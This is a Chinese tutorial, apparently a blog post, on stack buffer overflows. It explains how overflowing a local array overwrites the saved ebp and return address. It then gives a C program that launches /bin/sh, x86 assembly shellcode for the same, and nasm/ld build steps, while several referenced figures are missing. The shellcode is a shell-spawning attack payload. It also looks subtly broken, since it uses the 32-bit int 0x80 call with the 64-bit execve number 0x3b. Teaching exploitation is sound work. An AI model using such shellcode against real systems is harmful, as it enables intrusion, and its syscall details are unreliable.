本篇是逆向分析的延伸篇,讲的是关于缓冲区溢出。简单来讲,缓冲区溢出就是“输入数据超出了程序规定的内存范围,数据溢出导致程序发生异常”,黑客通过缓冲区溢出后,重写栈中的ret_addr内容来执行任意代码。
在对缓冲区攻击前,我们需要了解栈是如何使用内存空间的。栈是一种内存的使用方式,采用LIFO即后进先出,像手枪的子弹一样。
如下代码:
void func(int x,int y,int z){
int a;
char buff[6];
}
int main(){
func (1,2,3);
return 0;
}
当调用func函数时,在跳转至函数起始地址的瞬间,栈的形式如下图:
基地址为内存高位,从后向前(向地址递减方向)增长, $1、$2、$3为方法变量地址,ret_addr为main函数返回目标地址。
接下来 esp/rsp逐渐递减,为函数内部的局部变量分配内存空间,如下图:
这时,如果数据溢出,超过了原本分配给buff数组的内存空间,数组后面的ebp、ret_addr以及传递给函数的参数都会被溢出的数据覆盖掉,如下图:
一旦 ebp和ret_addr被覆盖掉,将会引发严重的后果,ret_addr存放的为main函数返回目标地址,也就是说,如果覆盖ret_addr,攻击者就可以让程序跳转至任意地址,如果攻击者事前准备一段shellcode,然后让程序跳转至这段代码,也就相当于成功攻击了”可执行任意代码的漏洞“。
关于shellcode方面,简单的shellcode代码如下:
#include <unistd.h>
int main()
{
char *shell[2];
shell[0]="/bin/sh";
shell[1]=NULL;
execve(shell[0],shell,NULL);
}
该代码功能就是启动/bin/sh。通过该代码,我们可以将其转换为汇编语言,首先我们对程序进行调试,查看反汇编:
通过反汇编信息,形成汇编语句,如下:
global _start
_start:
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
xor eax,eax
mov al, 0x3b
int 0x80
执行以下语句:
nasm -f elf testshell.asm
ld -m elf_i386 -o testshell testshell.o
最终形成16进制code码,如下图:
将上图16进制代码整合后,形成执行文件即可。